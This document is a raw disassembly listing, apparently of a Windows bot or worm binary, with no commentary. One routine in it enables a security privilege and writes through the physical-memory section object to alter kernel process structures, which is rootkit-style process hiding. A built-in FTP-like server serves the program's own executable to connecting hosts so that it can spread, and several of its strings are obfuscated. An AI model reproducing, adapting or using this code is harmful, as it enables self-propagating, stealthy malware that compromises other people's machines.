push esi
push [ebp+var_4]
push esi
push esi
push 4
push 6
push [ebp+arg_0]
call dword_437024
test eax, eax
jz short loc_4028FC
loc_4028E2: ; CODE XREF: sub_40285A+6Fj
cmp [ebp+var_8], esi
mov edi, dword_43703C
jz short loc_4028F2
push [ebp+var_8]
call edi ; dword_43703C
loc_4028F2: ; CODE XREF: sub_40285A+91j
cmp [ebp+var_4], esi
jz short loc_4028FC
push [ebp+var_4]
call edi ; dword_43703C
loc_4028FC: ; CODE XREF: sub_40285A+2Aj
; sub_40285A+86j ...
pop edi
pop esi
leave
retn
sub_40285A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402900 proc near ; CODE XREF: sub_402BA8+83p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
push ebp
mov ebp, esp
sub esp, 20h
cmp dword_454024, 5
push edi
jnz short loc_402925
mov eax, dword_454028
xor edi, edi
cmp eax, edi
jz short loc_40292D
cmp eax, 1
jz short loc_40292D
cmp eax, 2
jz short loc_40292D
loc_402925: ; CODE XREF: sub_402900+Ej
or eax, 0FFFFFFFFh
jmp loc_4029DC
; ---------------------------------------------------------------------------
loc_40292D: ; CODE XREF: sub_402900+19j
; sub_402900+1Ej ...
push esi
lea eax, [ebp+var_8]
push offset off_43AC84
push eax
call dword_454A14 ; RtlInitUnicodeString
lea eax, [ebp+var_8]
mov esi, offset dword_454A24
mov [ebp+var_18], eax
lea eax, [ebp+var_20]
push eax
push 6
push esi
mov [ebp+var_20], 18h
mov [ebp+var_1C], edi
mov [ebp+var_14], edi
mov [ebp+var_10], edi
mov [ebp+var_C], edi
call dword_454A18 ; ZwOpenSection
cmp eax, 0C0000022h
jnz short loc_4029A4
lea eax, [ebp+var_20]
push eax
push 60000h
push esi
call dword_454A18 ; ZwOpenSection
push dword_454A24
call sub_40285A
pop ecx
push dword_454A24
call dword_437044 ; CloseHandle
lea eax, [ebp+var_20]
push eax
push 6
push esi
call dword_454A18 ; ZwOpenSection
loc_4029A4: ; CODE XREF: sub_402900+6Dj
cmp eax, edi
pop esi
jge short loc_4029AE
push 0FFFFFFFEh
pop eax
jmp short loc_4029DC
; ---------------------------------------------------------------------------
loc_4029AE: ; CODE XREF: sub_402900+A7j
push 1000h
push 39000h
push edi
push 6
push dword_454A24
call dword_437040 ; MapViewOfFile
xor ecx, ecx
cmp eax, edi
setnz cl
mov dword_454A20, eax
lea ecx, ds:0FFFFFFFDh[ecx*4]
mov eax, ecx
loc_4029DC: ; CODE XREF: sub_402900+28j
; sub_402900+ACj
pop edi
leave
retn
sub_402900 endp
; =============== S U B R O U T I N E =======================================
sub_4029DF proc near ; CODE XREF: sub_402BA8+E8p
; sub_402BA8:loc_402CA9p
mov eax, dword_454A20
test eax, eax
jz short loc_4029EF
push eax
call dword_437048 ; UnmapViewOfFile
loc_4029EF: ; CODE XREF: sub_4029DF+7j
mov eax, dword_454A24
test eax, eax
jz short loc_4029FF
push eax
call dword_437044 ; CloseHandle
loc_4029FF: ; CODE XREF: sub_4029DF+17j
and dword_454A20, 0
and dword_454A24, 0
retn
sub_4029DF endp
; =============== S U B R O U T I N E =======================================
sub_402A0E proc near ; CODE XREF: sub_402A86+Bp
; sub_402AD7+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
test eax, eax
push edi
jz short loc_402A81
mov edi, [esp+8+arg_4]
mov ecx, edi
shr ecx, 16h
mov eax, [eax+ecx*4]
test al, 1
jz short loc_402A81
test al, al
jns short loc_402A3A
mov esi, eax
xor esi, edi
and esi, 3FFFFFh
xor esi, eax
jmp short loc_402A7D
; ---------------------------------------------------------------------------
loc_402A3A: ; CODE XREF: sub_402A0E+1Cj
and ax, 0F000h
push 1000h
push eax
push 0
push 0F001Fh
push dword_454A24
call dword_437040 ; MapViewOfFile
mov ecx, edi
shr ecx, 0Ch
and ecx, 3FFh
mov ecx, [eax+ecx*4]
test cl, 1
jz short loc_402A81
mov esi, ecx
push eax
xor esi, edi
and esi, 0FFFh
xor esi, ecx
call dword_437048 ; UnmapViewOfFile
loc_402A7D: ; CODE XREF: sub_402A0E+2Aj
mov eax, esi
jmp short loc_402A83
; ---------------------------------------------------------------------------
loc_402A81: ; CODE XREF: sub_402A0E+8j
; sub_402A0E+18j ...
xor eax, eax
loc_402A83: ; CODE XREF: sub_402A0E+71j
pop edi
pop esi
retn
sub_402A0E endp
; =============== S U B R O U T I N E =======================================
sub_402A86 proc near ; CODE XREF: sub_402BA8+92p
; sub_402BA8+A0p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
push dword_454A20
call sub_402A0E
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_402ABC
and ax, 0F000h
push 1000h
push eax
push 0
push 4
push dword_454A24
call dword_437040 ; MapViewOfFile
test eax, eax
jnz short loc_402AC0
loc_402ABC: ; CODE XREF: sub_402A86+16j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_402AC0: ; CODE XREF: sub_402A86+34j
shr esi, 2
and esi, 3FFh
push eax
mov esi, [eax+esi*4]
call dword_437048 ; UnmapViewOfFile
mov eax, esi
pop esi
retn
sub_402A86 endp
; =============== S U B R O U T I N E =======================================
sub_402AD7 proc near ; CODE XREF: sub_402BA8+D0p
; sub_402BA8+DDp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
push dword_454A20
call sub_402A0E
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_402B0D
and ax, 0F000h
push 1000h
push eax
push 0
push 2
push dword_454A24
call dword_437040 ; MapViewOfFile
test eax, eax
jnz short loc_402B11
loc_402B0D: ; CODE XREF: sub_402AD7+16j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_402B11: ; CODE XREF: sub_402AD7+34j
mov ecx, [esp+4+arg_4]
push eax
shr esi, 2
and esi, 3FFh
mov [eax+esi*4], ecx
call dword_437048 ; UnmapViewOfFile
xor eax, eax
pop esi
inc eax
retn
sub_402AD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B2D proc near ; CODE XREF: sub_402BA8+6Fp
; sub_402BA8+F5p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_43704C ; GetCurrentProcess
push eax
call dword_437010
test eax, eax
jnz short loc_402B4C
leave
retn
; ---------------------------------------------------------------------------
loc_402B4C: ; CODE XREF: sub_402B2D+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_437014
test eax, eax
jz short loc_402B9A
mov eax, [ebp+var_10]
mov [ebp+var_20], 1
mov [ebp+var_1C], eax
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
xor eax, eax
cmp [ebp+arg_4], esi
setz al
lea eax, [eax+eax+2]
mov [ebp+var_14], eax
lea eax, [ebp+var_8]
push eax
push esi
lea eax, [ebp+var_20]
push 10h
push eax
push esi
push [ebp+var_4]
call dword_437018
mov esi, eax
loc_402B9A: ; CODE XREF: sub_402B2D+32j
push [ebp+var_4]
call dword_437044 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_402B2D endp
; =============== S U B R O U T I N E =======================================
sub_402BA8 proc near ; CODE XREF: sub_418EDB+22Fp
push ebx
push ebp
push esi
push edi
push offset dword_454020
mov dword_454020, 94h
call dword_437050 ; GetVersionExA
test eax, eax
jz loc_402CB3
cmp dword_454024, 5
jnz loc_402CB3
mov eax, dword_454028
test eax, eax
jnz short loc_402BEB
mov edi, 0A0h
mov ebx, 0A4h
jmp short loc_402C0F
; ---------------------------------------------------------------------------
loc_402BEB: ; CODE XREF: sub_402BA8+35j
cmp eax, 1
jnz short loc_402BFC
mov edi, 88h
mov ebx, 8Ch
jmp short loc_402C0F
; ---------------------------------------------------------------------------
loc_402BFC: ; CODE XREF: sub_402BA8+46j
cmp eax, 2
jnz loc_402CB3
mov edi, 8Ah
mov ebx, 8Eh
loc_402C0F: ; CODE XREF: sub_402BA8+41j
; sub_402BA8+52j
mov ebp, offset aSesecuritypriv ; "SeSecurityPrivilege"
push 1
push ebp
call sub_402B2D
pop ecx
pop ecx
call sub_4027F3
test eax, eax
jz loc_402CB3
call sub_402900
cmp eax, 1
jnz short loc_402CAE
push 0FFDFF124h
call sub_402A86
test eax, eax
pop ecx
jz short loc_402CA9
add eax, 44h
push eax
call sub_402A86
mov esi, eax
pop ecx
test esi, esi
jz short loc_402CA9
lea eax, [esi+edi]
push eax
call sub_402A86
add esi, ebx
mov edi, eax
push esi
call sub_402A86
pop ecx
mov esi, eax
test edi, edi
pop ecx
jz short loc_402CA9
test esi, esi
jz short loc_402CA9
lea eax, [edi+4]
push esi
push eax
call sub_402AD7
pop ecx
test eax, eax
pop ecx
jz short loc_402CA9
push edi
push esi
call sub_402AD7
pop ecx
test eax, eax
pop ecx
jz short loc_402CA9
call sub_4029DF
call sub_402842
push 0
push ebp
call sub_402B2D
pop ecx
xor eax, eax
pop ecx
inc eax
jmp short loc_402CB5
; ---------------------------------------------------------------------------
loc_402CA9: ; CODE XREF: sub_402BA8+9Aj
; sub_402BA8+AAj ...
call sub_4029DF
loc_402CAE: ; CODE XREF: sub_402BA8+8Bj
call sub_402842
loc_402CB3: ; CODE XREF: sub_402BA8+1Bj
; sub_402BA8+28j ...
xor eax, eax
loc_402CB5: ; CODE XREF: sub_402BA8+FFj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_402BA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402CBA proc near ; DATA XREF: sub_4020AA+F1o
; sub_406C3A+DDo ...
var_2E08 = byte ptr -2E08h
var_6F8 = byte ptr -6F8h
var_694 = byte ptr -694h
var_480 = dword ptr -480h
var_47C = byte ptr -47Ch
var_3FC = dword ptr -3FCh
var_3EC = dword ptr -3ECh
var_3E8 = dword ptr -3E8h
var_2E4 = byte ptr -2E4h
var_2B0 = byte ptr -2B0h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_244 = dword ptr -244h
var_148 = byte ptr -148h
var_138 = byte ptr -138h
var_D4 = byte ptr -0D4h
var_A0 = word ptr -0A0h
var_9E = word ptr -9Eh
var_9C = dword ptr -9Ch
var_90 = byte ptr -90h
var_80 = dword ptr -80h
var_7C = byte ptr -7Ch
var_74 = byte ptr -74h
var_70 = byte ptr -70h
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_50 = byte ptr -50h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_3C = byte ptr -3Ch
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2E08h
call sub_429A90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ABh
mov esi, eax
lea edi, [ebp+var_694]
xor ebx, ebx
rep movsd
xor esi, esi
push ebx
inc esi
push ebx
mov [eax+2A4h], esi
mov eax, [ebp+var_3EC]
push ebx
mov [ebp+var_8], eax
mov eax, [ebp+var_480]
push offset sub_41EAD6
push ebx
push ebx
mov [ebp+var_44], esi
mov [ebp+var_1C], esi
mov [ebp+var_24C], ebx
mov [ebp+var_3E8], ebx
mov dword_454A10, eax
call dword_43717C ; CreateThread
push ebx
push esi
push 2
call dword_456FB0 ; socket
lea ecx, [ebp+var_44]
push 4
push ecx
push 4
push 0FFFFh
push eax
mov dword_4549FC, eax
call dword_456EF0 ; setsockopt
lea eax, [ebp+var_1C]
push eax
push 8004667Eh
push dword_4549FC
call dword_456FD4 ; ioctlsocket
mov ax, word ptr dword_454A10
mov [ebp+var_A0], 2
push eax
mov [ebp+var_9C], ebx
call dword_456F18 ; ntohs
mov [ebp+var_9E], ax
lea eax, [ebp+var_A0]
push 10h
push eax
push dword_4549FC
call dword_456F4C ; bind
test eax, eax
jge short loc_402D98
mov eax, esi
jmp loc_403240
; ---------------------------------------------------------------------------
loc_402D98: ; CODE XREF: sub_402CBA+D5j
push 0Ah
push dword_4549FC
call dword_456F48 ; listen
mov eax, dword_4549FC
mov [ebp+var_24C], esi
mov [ebp+var_248], eax
mov [ebp+var_4], eax
loc_402DBA: ; CODE XREF: sub_402CBA+137j
; sub_402CBA+57Ej
push 41h
lea eax, [ebp+var_3E8]
pop ecx
lea esi, [ebp+var_24C]
push ebx
push ebx
push ebx
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_3E8]
inc eax
rep movsd
push eax
call dword_456EFC ; select
cmp eax, 0FFFFFFFFh
jz loc_40323D
xor esi, esi
cmp [ebp+var_4], ebx
mov [ebp+arg_0], esi
jl short loc_402DBA
loc_402DF3: ; CODE XREF: sub_402CBA+578j
push 64h
lea eax, [ebp+var_2B0]
push ebx
push eax
call sub_429690
push 64h
lea eax, [ebp+var_138]
push ebx
push eax
call sub_429690
add esp, 18h
lea eax, [ebp+var_3E8]
push eax
push esi
call dword_456DB8 ; __WSAFDIsSet
test eax, eax
jz loc_40322B
mov eax, dword_4549FC
cmp esi, eax
jnz loc_402EBD
lea ecx, [ebp+var_5C]
mov [ebp+var_5C], 10h
push ecx
lea ecx, [ebp+var_148]
push ecx
push eax
call dword_456FC4 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_28], eax
jz loc_40322B
mov edx, [ebp+var_24C]
xor ecx, ecx
cmp edx, ebx
jbe short loc_402E76
loc_402E68: ; CODE XREF: sub_402CBA+1BAj
cmp [ebp+ecx*4+var_248], eax
jz short loc_402E76
inc ecx
cmp ecx, edx
jb short loc_402E68
loc_402E76: ; CODE XREF: sub_402CBA+1ACj
; sub_402CBA+1B5j
cmp ecx, edx
jnz short loc_402E8C
cmp edx, 40h
jnb short loc_402E8C
mov [ebp+ecx*4+var_248], eax
inc [ebp+var_24C]
loc_402E8C: ; CODE XREF: sub_402CBA+1BEj
; sub_402CBA+1C3j
cmp eax, [ebp+var_4]
jle short loc_402E94
mov [ebp+var_4], eax
loc_402E94: ; CODE XREF: sub_402CBA+1D5j
mov esi, offset a220 ; "220\r\n"
lea edi, [ebp+var_7C]
movsd
lea eax, [ebp+var_7C]
push ebx
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_7C]
push eax
push [ebp+var_28]
call dword_456F6C ; send
jmp loc_403228
; ---------------------------------------------------------------------------
loc_402EBD: ; CODE XREF: sub_402CBA+177j
push ebx
lea eax, [ebp+var_2B0]
push 64h
push eax
push esi
call dword_456F38 ; recv
test eax, eax
jg short loc_402F1A
mov ecx, [ebp+var_24C]
xor eax, eax
cmp ecx, ebx
jbe short loc_402F0E
loc_402EDE: ; CODE XREF: sub_402CBA+230j
cmp [ebp+eax*4+var_248], esi
jz short loc_402F03
inc eax
cmp eax, ecx
jb short loc_402EDE
jmp short loc_402F0E
; ---------------------------------------------------------------------------
loc_402EEE: ; CODE XREF: sub_402CBA+24Cj
mov ecx, [ebp+eax*4+var_244]
mov [ebp+eax*4+var_248], ecx
mov ecx, [ebp+var_24C]
inc eax
loc_402F03: ; CODE XREF: sub_402CBA+22Bj
dec ecx
cmp eax, ecx
jb short loc_402EEE
dec [ebp+var_24C]
loc_402F0E: ; CODE XREF: sub_402CBA+222j
; sub_402CBA+232j
push esi
call dword_456FD0 ; closesocket
jmp loc_40322B
; ---------------------------------------------------------------------------
loc_402F1A: ; CODE XREF: sub_402CBA+216j
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_2B0]
push offset aSS_1 ; "%s %s"
push eax
call sub_429D3E
mov esi, dword_437174
add esp, 10h
lea eax, [ebp+var_138]
push offset aUser ; "USER"
push eax
call esi ; dword_437174
test eax, eax
jnz short loc_402F73
mov esi, offset a331 ; "331\r\n"
lea edi, [ebp+var_58]
movsd
lea eax, [ebp+var_58]
push ebx
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_58]
jmp loc_40320C
; ---------------------------------------------------------------------------
loc_402F73: ; CODE XREF: sub_402CBA+298j
lea eax, [ebp+var_138]
push offset aPass ; "PASS"
push eax
call esi ; dword_437174
test eax, eax
jnz short loc_402FA4
mov esi, offset a230 ; "230\r\n"
lea edi, [ebp+var_70]
movsd
lea eax, [ebp+var_70]
push ebx
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_70]
jmp loc_40320C
; ---------------------------------------------------------------------------
loc_402FA4: ; CODE XREF: sub_402CBA+2C9j
lea eax, [ebp+var_138]
push offset aPort ; "PORT"
push eax
call esi ; dword_437174
test eax, eax
jnz loc_40307F
lea eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_74]
push eax
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2B0]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_429D3E
lea eax, [ebp+var_D4]
push eax
call sub_42A030
mov esi, eax
lea eax, [ebp+var_2E4]
push eax
call sub_42A030
mov edi, eax
push 32h
lea eax, [ebp+var_D4]
push ebx
push eax
call sub_429690
push edi
push esi
lea eax, [ebp+var_D4]
push offset aXX ; "%x%x\n"
push eax
call sub_429A33
add esp, 44h
lea eax, [ebp+var_D4]
push 10h
push ebx
push eax
call sub_429F8E
mov [ebp+var_80], eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_74]
push eax
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_90]
push offset dword_43AB7C
push eax
call sub_429A33
mov esi, offset a200 ; "200\r\n"
lea edi, [ebp+var_64]
add esp, 24h
lea eax, [ebp+var_64]
movsd
push ebx
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_64]
jmp loc_40320C
; ---------------------------------------------------------------------------
loc_40307F: ; CODE XREF: sub_402CBA+2FAj
lea eax, [ebp+var_138]
push offset aRetr ; "RETR"
push eax
call esi ; dword_437174
test eax, eax
jnz loc_4031C5
mov esi, offset a150 ; "150\r\n"
lea edi, [ebp+var_10]
movsd
lea eax, [ebp+var_10]
push ebx
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_10]
push eax
push [ebp+arg_0]
call dword_456F6C ; send
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_47C]
push [ebp+var_3FC]
push eax
lea eax, [ebp+var_2E08]
push [ebp+var_3EC]
push eax
lea eax, [ebp+var_90]
push [ebp+var_80]
push eax
call sub_403247
add esp, 1Ch
test eax, eax
jz loc_4031A9
push [ebp+var_48]
call sub_4032A3
pop ecx
mov esi, offset a226 ; "226\r\n"
test eax, eax
push ebx
jle loc_403193
lea edi, [ebp+var_50]
lea eax, [ebp+var_50]
movsd
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_50]
push eax
push [ebp+arg_0]
call dword_456F6C ; send
inc dword_457CE8
cmp dword_454A2C, ebx
jz short loc_40315F
cmp dword_454A30, ebx
jnz short loc_40316B
lea eax, [ebp+var_90]
push eax
push offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
lea eax, [ebp+var_47C]
push offset aSS_2 ; "%s -> %s"
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 14h
loc_40315F: ; CODE XREF: sub_402CBA+478j
cmp dword_454A30, ebx
jz loc_403216
loc_40316B: ; CODE XREF: sub_402CBA+480j
lea eax, [ebp+var_90]
push eax
push offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
lea eax, [ebp+var_47C]
push offset aSS_2 ; "%s -> %s"
push eax
push [ebp+var_8]
call sub_41CD0E
add esp, 14h
jmp loc_403216
; ---------------------------------------------------------------------------
loc_403193: ; CODE XREF: sub_402CBA+448j
lea edi, [ebp+var_18]
lea eax, [ebp+var_18]
movsd
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_18]
jmp short loc_40320C
; ---------------------------------------------------------------------------
loc_4031A9: ; CODE XREF: sub_402CBA+431j
mov esi, offset a425 ; "425\r\n"
lea edi, [ebp+var_24]
movsd
lea eax, [ebp+var_24]
push ebx
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_24]
jmp short loc_40320C
; ---------------------------------------------------------------------------
loc_4031C5: ; CODE XREF: sub_402CBA+3D5j
lea eax, [ebp+var_138]
push offset aQuit ; "QUIT"
push eax
call esi ; dword_437174
test eax, eax
push ebx
jnz short loc_4031F3
mov esi, offset a221 ; "221\r\n"
lea edi, [ebp+var_30]
movsd
lea eax, [ebp+var_30]
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_30]
jmp short loc_40320C
; ---------------------------------------------------------------------------
loc_4031F3: ; CODE XREF: sub_402CBA+51Cj
mov esi, offset a503 ; "503\r\n"
lea edi, [ebp+var_3C]
movsd
lea eax, [ebp+var_3C]
push eax
movsw
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_3C]
loc_40320C: ; CODE XREF: sub_402CBA+2B4j
; sub_402CBA+2E5j ...
push eax
push [ebp+arg_0]
call dword_456F6C ; send
loc_403216: ; CODE XREF: sub_402CBA+4ABj
; sub_402CBA+4D4j
push 64h
lea eax, [ebp+var_2B0]
push ebx
push eax
call sub_429690
add esp, 0Ch
loc_403228: ; CODE XREF: sub_402CBA+1FEj
mov esi, [ebp+arg_0]
loc_40322B: ; CODE XREF: sub_402CBA+16Aj
; sub_402CBA+19Cj ...
inc esi
cmp esi, [ebp+var_4]
mov [ebp+arg_0], esi
jle loc_402DF3
jmp loc_402DBA
; ---------------------------------------------------------------------------
loc_40323D: ; CODE XREF: sub_402CBA+129j
xor eax, eax
inc eax
loc_403240: ; CODE XREF: sub_402CBA+D9j
pop edi
pop esi
pop ebx
leave
retn 4
sub_402CBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403247 proc near ; CODE XREF: sub_402CBA+427p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 10h
push esi
push 0
push 1
push 2
call dword_456FB0 ; socket
mov esi, [ebp+arg_18]
push [ebp+arg_0]
mov [ebp+var_10], 2
mov [esi], eax
call dword_456F5C ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_456F18 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword ptr [esi]
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40329D
push dword ptr [esi]
call dword_456FD0 ; closesocket
xor eax, eax
jmp short loc_4032A0
; ---------------------------------------------------------------------------
loc_40329D: ; CODE XREF: sub_403247+48j
xor eax, eax
inc eax
loc_4032A0: ; CODE XREF: sub_403247+54j
pop esi
leave
retn
sub_403247 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4032A3 proc near ; CODE XREF: sub_402CBA+43Ap
var_1108 = byte ptr -1108h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1108h
call sub_429A90
push ebx
push esi
push edi
lea eax, [ebp+var_108]
push 104h
xor edi, edi
push eax
push edi
call dword_437178 ; GetModuleFileNameA
lea eax, [ebp+var_108]
push offset aRb ; "rb"
push eax
call sub_42A43C
mov esi, eax
pop ecx
xor ebx, ebx
cmp esi, edi
pop ecx
mov [ebp+var_4], edi
jz short loc_403352
push 2
push edi
push esi
call sub_42A352
push esi
call sub_42A1CF
push edi
push edi
push esi
mov [ebp+var_4], eax
call sub_42A352
add esp, 1Ch
jmp short loc_40334C
; ---------------------------------------------------------------------------
loc_403305: ; CODE XREF: sub_4032A3+ADj
push 1000h
lea eax, [ebp+var_1108]
push edi
push eax
call sub_429690
push esi
push 800h
lea eax, [ebp+var_1108]
push 1
push eax
call sub_42A0B8
add esp, 1Ch
test byte ptr [esi+0Ch], 20h
jnz short loc_403352
cmp eax, edi
jle short loc_40334C
push edi
push eax
lea eax, [ebp+var_1108]
push eax
push [ebp+arg_0]
call dword_456F6C ; send
add ebx, eax
loc_40334C: ; CODE XREF: sub_4032A3+60j
; sub_4032A3+93j
test byte ptr [esi+0Ch], 10h
jz short loc_403305
loc_403352: ; CODE XREF: sub_4032A3+41j
; sub_4032A3+8Fj
push esi
call sub_42A03B
pop ecx
push [ebp+arg_0]
call dword_456FD0 ; closesocket
mov eax, [ebp+var_4]
pop edi
sub eax, ebx
pop esi
neg eax
sbb eax, eax
not eax
and eax, ebx
pop ebx
leave
retn
sub_4032A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403374 proc near ; CODE XREF: sub_40A938+153p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0Ch
xor edi, edi
xor ebx, ebx
call sub_423756
cmp eax, edi
pop ecx
jle loc_40342E
mov esi, eax
imul esi, 2724h
cmp dword_46D70C[esi], edi
jz short loc_40339F
inc ebx
loc_40339F: ; CODE XREF: sub_403374+28j
push dword_4549FC
and byte ptr dword_46AFF0[esi], 0
mov dword_46D70C[esi], edi
mov dword_46D700[esi], edi
mov dword_46D704[esi], edi
mov dword_46D708[esi], edi
call dword_456FD0 ; closesocket
push edi
push dword_46D70C[esi]
call dword_437054 ; TerminateThread
cmp ebx, edi
jz short loc_40342E
cmp [ebp+arg_8], 0
mov ebx, offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0"
mov esi, offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
mov edi, offset aSSDS ; "%s %s %d %s"
jnz short loc_40340E
cmp [ebp+arg_C], 0
jnz short loc_403414
push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
push 1
push ebx
push esi
push edi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
add esp, 1Ch
loc_40340E: ; CODE XREF: sub_403374+7Aj
cmp [ebp+arg_C], 0
jz short loc_403471
loc_403414: ; CODE XREF: sub_403374+80j
push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
push 1
push ebx
push esi
push edi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 1Ch
jmp short loc_403471
; ---------------------------------------------------------------------------
loc_40342E: ; CODE XREF: sub_403374+14j
; sub_403374+65j
cmp [ebp+arg_8], 0
mov esi, offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
mov ebx, offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
mov edi, offset aSS_1 ; "%s %s"
jnz short loc_40345A
cmp [ebp+arg_C], 0
jnz short loc_403460
push ebx
push esi
push edi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
add esp, 14h
loc_40345A: ; CODE XREF: sub_403374+CDj
cmp [ebp+arg_C], 0
jz short loc_403471
loc_403460: ; CODE XREF: sub_403374+D3j
push ebx
push esi
push edi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 14h
loc_403471: ; CODE XREF: sub_403374+9Ej
; sub_403374+B8j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_403374 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403476 proc near ; CODE XREF: sub_407F26+3Ap
var_F4 = byte ptr -0F4h
var_F0 = byte ptr -0F0h
var_90 = byte ptr -90h
var_74 = byte ptr -74h
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0F4h
push ebx
push esi
xor ebx, ebx
push edi
xor ecx, ecx
loc_403486: ; CODE XREF: sub_403476+37j
movzx eax, byte_43AE00[ecx]
mov esi, [ebp+arg_0]
mov edx, eax
sar edx, 3
and eax, 7
mov dl, [edx+esi]
test byte_43AD90[eax*2], dl
setnz al
mov [ebp+ecx+var_74], al
inc ecx
cmp ecx, 38h
jl short loc_403486
mov [ebp+arg_0], ebx
mov [ebp+var_4], 1Eh
loc_4034B9: ; CODE XREF: sub_403476+F2j
cmp [ebp+arg_4], 1
jnz short loc_4034C4
mov eax, [ebp+var_4]
jmp short loc_4034C9
; ---------------------------------------------------------------------------
loc_4034C4: ; CODE XREF: sub_403476+47j
mov eax, [ebp+arg_0]
add eax, eax
loc_4034C9: ; CODE XREF: sub_403476+4Cj
lea ecx, [ebp+eax*4+var_F0]
lea esi, [ebp+eax*4+var_F4]
mov eax, [ebp+arg_0]
xor edx, edx
mov [ecx], ebx
mov [esi], ebx
movzx eax, byte ptr dword_43AE38[eax]
mov edi, eax
loc_4034E9: ; CODE XREF: sub_403476+8Ej
cmp edi, 1Ch
jge short loc_4034F4
